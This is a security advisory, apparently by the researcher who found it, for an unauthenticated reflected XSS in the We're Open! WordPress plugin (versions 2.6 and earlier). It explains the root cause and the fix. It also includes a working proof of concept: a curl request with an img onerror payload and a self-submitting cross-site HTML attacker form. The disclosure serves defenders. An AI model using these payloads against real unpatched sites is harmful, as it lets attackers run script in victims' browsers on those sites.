CVE-2026-112869: Unauthenticated Cross Site Scripting (XSS) in We're Open! WordPress Plugin

   
CVE CVE-2026-112869
Plugin We’re Open! (opening-hours)
Affected <= 2.6
Fixed in 2.7
Severity CVSS 7.1 High
Attacker needs No account. A victim only has to open a page the attacker controls.
Advisory Patchstack
PoC Mor-Golan/CVE-2026-112869

Summary

We’re Open! registers an AJAX action, we_are_open_wp_ajax, that any visitor can call without logging in.
I found that the handler copies the elements[0][content] request parameter into its JSON response without removing tags or encoding anything, and WordPress serves that response as text/html.
An attacker with no account can host a page that silently submits a cross site POST to this action, so anyone who opens that page runs the attacker’s JavaScript in the WordPress site’s origin.
The handler is registered with the plugin’s default settings, and no page, widget or shortcode has to be in use.

Root cause

The plugin registers the handler for logged out visitors in index.php at line 639:

add_action('wp_ajax_nopriv_' . $this->class_name . '_wp_ajax', array($this, 'wp_ajax'));

The only condition around this registration (lines 635 to 639) is the plugin’s “Load JavaScript” option, and that option is on by default.
When it has never been saved, get_option() returns its second argument, TRUE.
Plugin activation and the upgrade path from versions before 1.35 both write 1:

$javascript = get_option($this->prefix . 'javascript', TRUE);   // index.php:617
update_option(__CLASS__ . '_javascript', 1, 'yes');             // index.php:307 and :487

So the handler is reachable on an untouched site.
An administrator would have to uncheck “Load JavaScript” to remove it.

Inside we_are_open::wp_ajax() (line 4493) the checks only look at the shape of the request: type must be update, elements must be a non empty array, elements[0][action] must be refresh, and elements[0][content] must be a string longer than one character.
There is no capability check, no nonce and no login check.
The plugin’s nonces belong to a separate admin action that has no nopriv registration.

The bug itself is at line 4578 (the allowlist is abridged here):

$content = wp_kses_stripslashes($a['content'], array('div' => array('id' => array(), 'class' => array(), 'style' => array()), /* further tags elided */));

The second argument is an allowed HTML list, which is the signature of wp_kses().
Core’s wp_kses_stripslashes() takes a single parameter, and in WordPress 7.0.2 its whole body is:

function wp_kses_stripslashes( $content ) {
    return preg_replace( '%\\\\"%', '"', $content );
}

PHP silently drops the extra argument.
The value is never filtered.
All that happens is that backslash escaped quotes are turned back into plain quotes.
In the same handler the parameters values do go through sanitize_key() and sanitize_text_field(), so content is the one field that gets through unsanitized.

The response is written at line 4623 with echo json_encode($ret);.
The default json_encode() flags do not include JSON_HEX_TAG, so < and > reach the output unchanged, and admin-ajax.php sends the body as Content-Type: text/html; charset=UTF-8.
A browser that navigates to this response renders it as an HTML document.

Proof of concept

I tested on WordPress 7.0.2 and PHP 8.2 with We’re Open!
2.6 as the only active plugin and every plugin setting left at its default.

Two details of the path shape the payload.
WordPress slash escaping breaks quoted attribute values, and json_encode() rewrites / as \/.
So the payload contains no quotes and no slashes.
The <img> attributes are unquoted, and the marker OH-OK is built at runtime with String.fromCharCode, which means it never appears in the request.

Step 1. Confirm the reflection with one unauthenticated request, with no cookie and no nonce:

curl -si -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
  --data 'action=we_are_open_wp_ajax&type=update&elements[0][action]=refresh' \
  --data-urlencode 'elements[0][content]=<img src=x onerror=window.OHPROOF=String.fromCharCode(79,72,45,79,75)>'

The response (headers trimmed):

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=UTF-8

{"elements":[{"action":"refresh","parameters":{"update":true,"outer_tag":false},"content":"<img src=x onerror=window.OHPROOF=String.fromCharCode(79,72,45,79,75)>","html":"<p class=\"opening-hours error\">Error: Please set <em>We’re Open!<\/em> preferences in Dashboard→Settings<\/p>","reload":false,"seconds_to_change":25377}],"open_now":false,"closed_now":true,"success":true}

The content member carries the tag with < and > intact.
The sibling html member shows json_encode() escaping quotes and slashes while leaving angle brackets alone.
It also holds the plugin’s own “Please set preferences” notice, so a completely unconfigured install still reflects the payload.

Step 2. Deliver it cross site.
I saved this page on a different origin (a different port on the same machine is enough) and opened it in a browser:

<!doctype html><html><body>
<form id="f" method="POST" action="http://localhost:8080/wp-admin/admin-ajax.php">
<input name="action" value="we_are_open_wp_ajax">
<input name="type" value="update">
<input name="elements[0][action]" value="refresh">
<input name="elements[0][content]" value="<img src=x onerror=window.XSSFIRED=1;document.title=document.domain>">
</form><script>document.getElementById('f').submit();</script>
</body></html>

The form submits itself and the browser navigates to http://localhost:8080/wp-admin/admin-ajax.php.
The request needs no cookie, so SameSite rules do not matter, and a top level form POST is a navigation, which CORS does not block.
The plugin checks no Origin, no Referer and no token.
Because the reply is text/html, the browser renders it as a page in the site’s origin and the injected onerror handler runs.

The PoC repository has the full shell script, which sends the request, checks the reflection and writes an attacker page for the given target, plus two ready to use attacker pages.

Impact

This is what I demonstrated in my lab at localhost:8080:

The attacker page delivered cross site: the resulting document in the WordPress origin is headed OH-OK, a value computed by the injected script

In practice, an attacker without an account can run JavaScript of their choice in the site’s origin in the browser of anyone who opens a link to the attacker’s page.
The script can read and rewrite the document it lands in.
In my test the victim browser was an anonymous visitor, and I did not stage anything beyond script execution.
The WordPress login cookies are HttpOnly, so the script could not read them through document.cookie.

Fix

Update We’re Open! to version 2.7 or later.
Where updating is not possible right away, unchecking the plugin’s “Load JavaScript” option removes the unauthenticated registration of this handler.

The change I suggested in my report replaces the misused function with the one that actually takes an allowed HTML list:

-  $content = wp_kses_stripslashes($a['content'], array('div' => ..., ... ));
+  $content = wp_kses($a['content'], array('div' => ..., ... ));

Timeline

References

All research · All CVEs